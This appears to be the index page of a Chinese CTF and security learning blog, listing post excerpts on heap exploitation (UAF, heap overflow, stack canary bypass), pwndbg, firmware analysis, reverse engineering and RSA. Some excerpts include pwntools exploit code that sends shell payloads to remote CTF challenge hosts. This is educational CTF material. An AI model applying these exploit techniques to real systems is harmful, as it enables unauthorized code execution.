avatar
文章
331
标签
30
分类
0

Home
Archives
Tags
Categories
List
  • Music
  • Movie
Link
About
The Blog of Monoceros406
搜索
Home
Archives
Tags
Categories
List
  • Music
  • Movie
Link
About

The Blog of Monoceros406

PWN入门-UAF
发表于2024-03-10|PWN
PWN入门-UAF[NISACTF 2022]UAFUAF(Use After Free)。当堆上的一块空间被释放后没有赋值为NULL时,下一次分配还会分配到这一块堆,且数据依然保留。 思路如下: 利用create创建“note 0”,并malloc给.bss段上的page。*(_DWORD *)page处为字符串地址,*((_DWORD *)page+1)处为函数指针。 利用del将page[0]给free掉,但并未赋值为NULL。道理类似于栈,堆顶下移但free掉的数据仍然保留。 漏洞点在show中,但不接受参数0,所以要将序号推到1再进行shellcode写入。 再次create“note 1”,并edit时注入shellcode,这时。在+0偏移处写入4字节(i386架构)“sh\x00\x00”,偏移+4处写入后门NICO地址。 最后show“note 0”时,page[0]依然指向create“note 1”时分配的堆,并在(*((void (__cdecl **)(char *))page + 1))(page);处执行shellcode。 123456789101112 ...
固件安全入门
发表于2024-03-07|IoT
固件安全入门[HGAME 2023 week1]Help marvinSPI通信协议,拿PulseView打开,新建一条SPI解码器。一共4条线分别为: SCK时钟信号线,这里管脚选择D0,信号较为密集。 MISO主设备输入/从设备输出引脚,这里缺省。 MOSI主设备输出/从设备输入引脚,这里管脚选择D2,信号较稀松。 Chip Select/CS_N片选信号线,这里管脚选择D1,只有零星的高电位。 16进制导出即可。
PWN入门-堆溢出漏洞
发表于2024-03-03|PWN
PWN入门-堆溢出漏洞[NISACTF 2022]ezheap实际堆栈分配大小计算式: 1real_size=(allocated_size+0x4+0x7)&~0x7 exp: 12345678910from pwn import *context(log_level='debug',os='linux',arch='i386')p=remote("node5.anna.nssctf.cn",28346)allocated_size=0x16real_size=(allocated_size+0x4+0x7)&~0x7heap_overflow=cyclic(real_size)shellcode=b'/bin/sh\x00'payload1=flat([heap_overflow,shellcode])p.sendline(payload1)p.interactive()
PWN入门-pwndbg基本使用
发表于2024-03-03|PWN
PWN入门-pwndbg基本使用1234567891011121314151617181920212223file attachment #打开程序attachmentrun #从头开始运行start #运行到入口点 一般为mainb *地址 #某地址下断点b main #某符号下断点n #步过s #单步c #断点后运行i b #查看已有断点i r #查看所有寄存器的值stack 20 #查看20层栈disass main #反汇编符号p *地址 #查看某地址的值p &func #查看某符号函数的地址set *地址=值 #将某地址处改值d b 断点编号 #删除某断点disable b 断点编号 #禁用某断点enable b 断点编号 #启用某断点r<payload.dat #程序标准输入从文件payload.dat输入x/20i $rip #查看从寄存器rip指向的地址开始20条汇编指令x/20g 地址 #查看地址内容 20行 每行8字节search xxx #查找某内容地址distance 地址 地址 #计算俩地址距离
Go语言逆向随想录
发表于2024-02-28|逆向工程
Go语言逆向随想录启动主函数名叫main_main,以main_开头的函数即为用户函数,后半函数名即为真实函数名。启动从os_init函数初始化。 标准输入输出输出函数名叫fmt_Fprintln,第一个参数为(__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下: 12v1[0]=(__int64)&PTYPE_string;v1[1]=(__inat64)&off_xxxxxx; //即为输出字符串偏移 输入函数名叫fmt_Fscanln,第一个参数为(__int64)go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下: 12v1[0]=(__int64)&RTYPE__ptr_string;v1[1]=(__int64)p_string; p_string的定义如下: 1p_string=(string *)runtime_newobjec ...
Unicorn模拟执行
发表于2024-02-26|逆向工程
Unicorn模拟执行基操导入与初始化123from unicorn import *from unicorn.x86_const import *uc=Uc(UC_ARCH_X86,UC_MODE_64) 手动初始化内存、分配堆栈空间123address=0x400000 #运行地址stack_addr=0x410000 #堆栈地址data_addr=0x420000 #数据地址 映射内存1uc.mem_map(address,2*1024*1024) #加载的地址和大小 内存读写12uc.mem_read(address,length) #要读取的地址 要读取的长度uc.mem_write(address,Sub_code) #将Sub_code的代码写入运行地址 寄存器读写12uc.reg_write(UC_X86_REG_ESP,stack_addr)uc.reg_read(UC_X86_REG_ESP) 原神启动12uc.emu_start(Startaddr,Endaddr) #模拟开始地址 模拟结束地址uc.emu_stop() 实操[鹤城杯 2021]Pet ...
SICTF2024个人解题报告
发表于2024-02-23|解题报告
SICTF2024个人解题报告[签到]Baby_C++就在flag数组里。 Ez_pyc简单代码阅读,发现是个数独,井号空下,0为要填的,解密得: 2456835127469673891564192578837194925486324875196156342796214853 python转16进制直接运行即可。 (好像后来附件换了,结果附件MD5估计是错的… ArtBreakerIDA的Graph最大尺寸开成99999,转为图形界面即可。 SweetTofu动调,发现函数sub_55633523BB00,尝试解密。 123enc=[0x00,0x0A,0x07,0x01,0x1D,0x3F,0x09,0x13,0x39,0x07,0x08,0x02,0x39,0x2F,0x39,0x21,0x09,0x02,0x41,0x15,0x39,0x25,0x14,0x03,0x07,0x12,0x0F,0x09,0x08,0x47,0x22,0x09,0x08,0x41,0x12,0x39,0x04,0x03,0x39,0x15,0x03,0x14,0x0F,0x09,0x13,0x15, ...
PWN入门-Canary
发表于2024-02-23|PWN
PWN入门-Canary[2021 鹤城杯]littleofbuf尺寸为0x50,amd64下canary占用后0x8字节,i386下占用0x4字节。为了保证canary能与buf字符串分割开来,设计为小端序最后一个字节为0x00,sendline后自带发送换行符0x0a,即可填充0x00并取得后面0x7字节canary内容。 每次canary内容不同,每次都要重新获取。 开启canary后,0x50-0x8处为canary,0x50处为padding,0x50+0x8处为原ebp。 绕canary劫持plt泄漏puts的got表地址,找libc后重新绕canary打。 libcsearcher日常找不到库。 1234567891011121314151617181920212223242526272829303132from pwn import *context(log_level='debug',os='linux',arch='amd64')p=remote("node4.anna.nssctf.cn&quo ...
Crypto入门-基础数论复盘
发表于2024-02-23|密码学
Crypto入门-基础数论复盘高中OI学过数论相关,都还给教练了,现在开始复盘,死去的记忆开始拷打我。 RSA相关欧拉函数$\varphi(n)$表示小于$n$的正整数中与$n$互质的数的数目。基本性质: 如果$n$为质数,则$\varphi(n)=n-1$。 如果$p,q$为质数,则$\varphi(pq)=\varphi(p)\varphi(q)=(p-1)(q-1)$。 同余 若$a,b,c,d\in\mathbb Z,m\in\mathbb N_+,a\equiv b\pmod m,c\equiv d\pmod m$,则有: $$ \displaylines{ a\pm c\equiv b\pm d\pmod m,\\ac\equiv bd\pmod m } $$ 若$a,b\in\mathbb Z,k,m\in\mathbb N_+,a\equiv b\pmod m$,则有:$ak\equiv bk\pmod{mk}$。 中国剩余定理求解一元线性同余方程组: $$\begin{cases} \displaylines{ ...
Crypto入门-RSA
发表于2024-02-23|密码学
Crypto入门-RSA基础概念公钥与私钥 随机选择两个不同的大质数$p$和$q$,计算$N=pq$。 求得$\varphi(N)=\varphi(p)\varphi(q)=(p-1)(q-1)$。 选择一个$e(e<\varphi(N),e\bot\varphi(N))$,并求得$e$的逆元$d$:$ed\equiv1\pmod{\varphi(N)}$。 销毁$p,q$的记录,公钥为$(N,e)$,私钥为$(N,d)$。 消息加密: 将消息转化为$m(m<N,m\bot N,m\in\mathbb Z)$,如果消息太长可以分成几段,即块加密。利用以下公式加密:$m^e\equiv c\pmod N$。 消息解密: 利用密钥$d$解密:$c^d\equiv \pmod N$。 共模攻击攻击条件:两个用户使用相同模数$N$、不同私钥加密同一明文消息时。 设两个用户公钥分别为$e_1$和$e_2$,且$e_1\bot e_2$,明文为$m$,密文分别为: $$\begin{cases} \displaylines{ ...
1…192021…34
avatar
Monoceros406
Windows系统安全爱好者
文章
331
标签
30
分类
0
Follow Me
公告
哪里排版出锅了请告诉我QwQ QQ:1295625063
最新文章
Linux编程入门-系统选项2025-06-21
Linux编程入门-时间2025-06-15
Linux编程入门-用户管理与安全2025-06-15
Linux编程入门-内存管理2025-06-15
Linux编程入门-进程2025-06-14
标签
漏洞复现 恶意代码 密码学 Python 渗透测试 取证 编程语言 逆向工程 AWD Win系统调试 其他 GUI开发 解题报告 沙盒逃逸 算法 Win内核安全 OpenSSL 移动安全 UEFI 数学建模 Win驱动开发 WinAPI IoT PWN 前端开发 Web Linux Web3 后端开发 Misc
归档
  • 六月 20258
  • 五月 20259
  • 十二月 202413
  • 十一月 202412
  • 十月 202420
  • 九月 20243
  • 八月 20248
  • 七月 202413
网站资讯
文章数目 :
331
已运行时间 :
本站访客数 :
本站总访问量 :
最后更新时间 :
©2020 - 2025 By Monoceros406
框架 Hexo|主题 Butterfly